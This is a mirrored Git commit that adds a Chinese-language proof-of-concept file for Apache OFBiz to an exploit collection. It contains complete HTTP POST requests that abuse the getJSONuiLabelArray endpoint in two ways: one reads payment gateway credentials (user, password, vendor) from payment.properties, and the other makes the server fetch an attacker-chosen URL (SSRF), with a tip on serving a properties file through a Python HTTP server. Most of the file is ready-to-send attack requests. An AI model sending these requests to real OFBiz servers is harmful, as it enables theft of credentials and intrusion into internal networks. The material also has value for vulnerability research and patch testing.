mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create Apache OFBiz SSRF && 任意配置读取.md
This commit is contained in:
parent
c91fea8e04
commit
9e3b137437
50
Apache OFBiz SSRF && 任意配置读取.md
Normal file
50
Apache OFBiz SSRF && 任意配置读取.md
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
## Apache OFBiz SSRF && 任意配置读取
|
||||||
|
|
||||||
|
|
||||||
|
## 任意文件读取漏洞 poc
|
||||||
|
以读取 applications/accounting/config/payment.properties 中的几个 key 为例
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /webtools/control/getJSONuiLabelArray/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||||
|
Accept-Language: zh-CN,zh;q=0.9
|
||||||
|
Connection: close
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Pragma: no-cache
|
||||||
|
Host:
|
||||||
|
Content-type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 148
|
||||||
|
|
||||||
|
requiredLabels={"file:applications/accounting/config/payment.properties":["payment.verisign.user","payment.verisign.pwd","payment.verisign.vendor"]}
|
||||||
|
```
|
||||||
|

|
||||||
|
|
||||||
|
## SSRF
|
||||||
|
```
|
||||||
|
POST /webtools/control/getJSONuiLabelArray/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||||
|
Accept-Language: zh-CN,zh;q=0.9
|
||||||
|
Connection: close
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Pragma: no-cache
|
||||||
|
Host:
|
||||||
|
Content-type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 148
|
||||||
|
|
||||||
|
requiredLabels={"http://127.0.0.1/":["xxxxxx"]}
|
||||||
|
````
|
||||||
|
|
||||||
|
这里随便写一个 properties 文件,然后 python -m http.server 8000 起个服务
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 漏洞来源
|
||||||
|
- https://xz.aliyun.com/t/13211
|
||||||
Loading…
x
Reference in New Issue
Block a user